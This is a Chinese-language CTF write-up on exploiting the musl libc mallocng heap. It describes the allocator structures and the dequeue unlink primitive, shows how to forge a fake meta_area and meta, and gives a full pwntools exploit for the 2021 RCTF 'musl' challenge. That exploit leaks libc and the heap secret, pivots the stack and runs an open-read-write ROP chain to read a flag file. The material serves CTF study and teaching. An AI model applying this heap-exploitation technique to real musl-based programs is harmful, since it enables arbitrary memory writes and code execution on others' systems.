1.2.2 musl pwn

时间:2022-10-18 08:10:40

几个结构

__malloc_context(与glibc中的main_arena类似)

struct malloc_context {
    uint64_t secret; 
#ifndef PAGESIZE
    size_t pagesize;
#endif
    int init_done;
    unsigned mmap_counter;
    struct meta *free_meta_head;
    struct meta *avail_meta;
    size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
    struct meta_area *meta_area_head, *meta_area_tail;
    unsigned char *avail_meta_areas;
    struct meta *active[48];
    size_t usage_by_class[48];
    uint8_t unmap_seq[32], bounces[32];
    uint8_t seq;
    uintptr_t brk;
};

active 与glibc中的bins类似,并且有自己独特的方法来计算chunk的大小)

const uint16_t size_classes[] = {
    1, 2, 3, 4, 5, 6, 7, 8,
    9, 10, 12, 15,
    18, 20, 25, 31,
    36, 42, 50, 63,
    72, 84, 102, 127,
    146, 170, 204, 255,
    292, 340, 409, 511,
    584, 682, 818, 1023,
    1169, 1364, 1637, 2047,
    2340, 2730, 3276, 4095,
    4680, 5460, 6552, 8191,
};
#define IB 4
static inline int a_ctz_32(uint32_t x)
{
#ifdef a_clz_32
    return 31-a_clz_32(x&-x);
#else
    static const char debruijn32[32] = {
        0, 1, 23, 2, 29, 24, 19, 3, 30, 27, 25, 11, 20, 8, 4, 13,
        31, 22, 28, 18, 26, 10, 7, 12, 21, 17, 9, 6, 16, 5, 15, 14
    };
    return debruijn32[(x&-x)*0x076be629 >> 27];
#endif
}
static inline int a_clz_32(uint32_t x)
{
    x >>= 1;
    x |= x >> 1;
    x |= x >> 2;
    x |= x >> 4;
    x |= x >> 8;
    x |= x >> 16;
    x++;
    return 31-a_ctz_32(x);
}
static inline int size_to_class(size_t n)
{
    n = (n+IB-1)>>4;
    if (n<10) return n;
    n++;
    int i = (28-a_clz_32(n))*4 + 8;
    if (n>size_classes[i+1]) i+=2;
    if (n>size_classes[i]) i++;
    return i;
}

meta

struct meta {
    struct meta *prev, *next; // meta是一个双向链表
    struct group *mem;
    volatile int avail_mask, freed_mask;
    uintptr_t last_idx:5;
    uintptr_t freeable:1;
    uintptr_t sizeclass:6;
    uintptr_t maplen:8*sizeof(uintptr_t)-12;
};

meta_arena

struct meta_area {
	uint64_t check;
	struct meta_area *next;
	int nslots;
	struct meta slots[];
};

group

#define UNIT 16
#define IB 4
struct group {
    struct meta *meta;
    unsigned char active_idx:5;
    char pad[UNIT - sizeof(struct meta *) - 1];//padding=0x10B
    unsigned char storage[];// chunks
};

chunk

struct chunk{
 char prev_user_data[];
    uint8_t idx;  //低5bit为idx第几个chunk
    uint16_t offset; //与第一个chunk起始地址的偏移,实际地址偏移为offset * UNIT,详细请看get_meta源码中得到group地址的而过程!
    char data[];
};

漏洞点

static inline void dequeue(struct meta **phead, struct meta *m)
{
	if (m->next != m) {
		m->prev->next = m->next;
		m->next->prev = m->prev;
		if (*phead == m) *phead = m->next;
	} else {
		*phead = 0;
	}
	m->prev = m->next = 0;
}

源码里有一个与unsafe unlink类似的地方,可以实现任意地址写。

绕过检查

给一个绕过检查,伪造meta的示例

# fake_meta_area
payload+= p64(secret) + p64(0)
# fake_meta
payload+= p64(fake__stdout_used) + p64(__stdout_used_ptr) # prev next
payload+= p64(fake_group) # mem
payload+= p32(0x7f-1)+p32(0) # avail_mask=0x7e freed_mask=0

maplen = 1
freeable = 1
sizeclass = 1
last_idx = 6
last_value = last_idx | (freeable << 5) | (sizeclass << 6) | (maplen << 12)

payload+= p64(last_value)+p64(0)

add(index, 0x1500, payload)

例题 2021RCTF-musl

本题的漏洞点是,在申请大小为0时,会导致一个堆溢出的出现。利用这个泄露出,libc和secret,即可伪造meta_area及meta

from pwn import*
context(os='linux',arch='amd64',log_level='debug')

s = process('./r')

def add(index,size,content):
	s.sendlineafter(b'>>', b'1')
	s.sendlineafter(b'idx?\n', str(index))
	s.sendlineafter(b'size?\n', str(size))
	s.sendafter(b'Contnet?\n', content)

def delete(index):
	s.sendlineafter(b'>>', b'2')
	s.sendlineafter(b'idx?\n', str(index))

def show(index):
	s.sendlineafter(b'>>', b'3')
	s.sendlineafter(b'idx?\n', str(index))


for i in range(15):
	add(i, 1, "")

delete(0)
add(0, 0, b'a'*0xF+b'\n')

show(0)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x298d50

__stdout_used_ptr = libc_base + 0x295450
__malloc_context = libc_base + 0x295ae0
magic_gadget = libc_base + 0x000000000004a5ae #mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38];
pop_rdi_ret = libc_base + 0x0000000000014b82
pop_rsi_ret = libc_base + 0x000000000001b27a
pop_rdx_ret = libc_base + 0x0000000000009328
pop_rax_ret = libc_base + 0x000000000001b8fd
syscall_ret = libc_base + 0x0000000000023711
ret = libc_base + 0x0000000000000598

success('[+]libc_base=>' + hex(libc_base))

delete(2)
add(2, 0, b'a'*0x10+ p64(__malloc_context)+b'\n')
show(3)
s.recvuntil(b'Content: ')

secret = u64(s.recv(8))
success('[+]secret=>' + hex(secret))

chunk_addr = libc_base + 0x290020
fake__stdout_used = chunk_addr + 0x30
fake_group = libc_base + 0x298dd0

payload = p64(libc_base + 0x291010) # fake group->meta
payload+= p64(0x000c0c000000000b)
payload+= p64(libc_base + 0x298df0) + b'\x00'*5 + p8(0) + p16(1)
payload+= b'\n'

delete(5)
add(5, 0, payload)
gdb.attach(s)
pause()

payload = b'./ctf/flag\x00'
payload = payload.ljust(0x30,b'\x00')

payload+= b'\x00'*0x30+p64(chunk_addr + 0x100) 
payload+= p64(ret)
payload+= p64(0) + p64(magic_gadget) # mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38]
payload = payload.ljust(0x100,b'\x00')

payload+= p64(pop_rdi_ret) + p64(chunk_addr)
payload+= p64(pop_rsi_ret) + p64(0)
payload+= p64(pop_rdx_ret) + p64(0)
payload+= p64(pop_rax_ret) + p64(2)
payload+= p64(syscall_ret)
payload+= p64(pop_rdi_ret) + p64(3)
payload+= p64(pop_rsi_ret) + p64(chunk_addr)
payload+= p64(pop_rdx_ret) + p64(0x100)
payload+= p64(pop_rax_ret) + p64(0)
payload+= p64(syscall_ret)
payload+= p64(pop_rdi_ret) + p64(1)
payload+= p64(pop_rsi_ret) + p64(chunk_addr)
payload+= p64(pop_rdx_ret) + p64(0x100)
payload+= p64(pop_rax_ret) + p64(1)
payload+= p64(syscall_ret)
payload = payload.ljust(0x1000-0x20, b'\x00')

# fake_meta_area
payload+= p64(secret) + p64(0)
# fake_meta
payload+= p64(fake__stdout_used) + p64(__stdout_used_ptr) # prev next
payload+= p64(fake_group) # mem
payload+= p32(0x7f-1)+p32(0) # avail_mask=0x7e freed_mask=0

maplen = 1
freeable = 1
sizeclass = 1
last_idx = 6
last_value = last_idx | (freeable << 5) | (sizeclass << 6) | (maplen << 12)

payload+= p64(last_value)+p64(0)
payload+= b'\n'

add(15, 0x1500, payload)
delete(6)

s.sendlineafter(">>",b"4")
#gdb.attach(s)

s.interactive()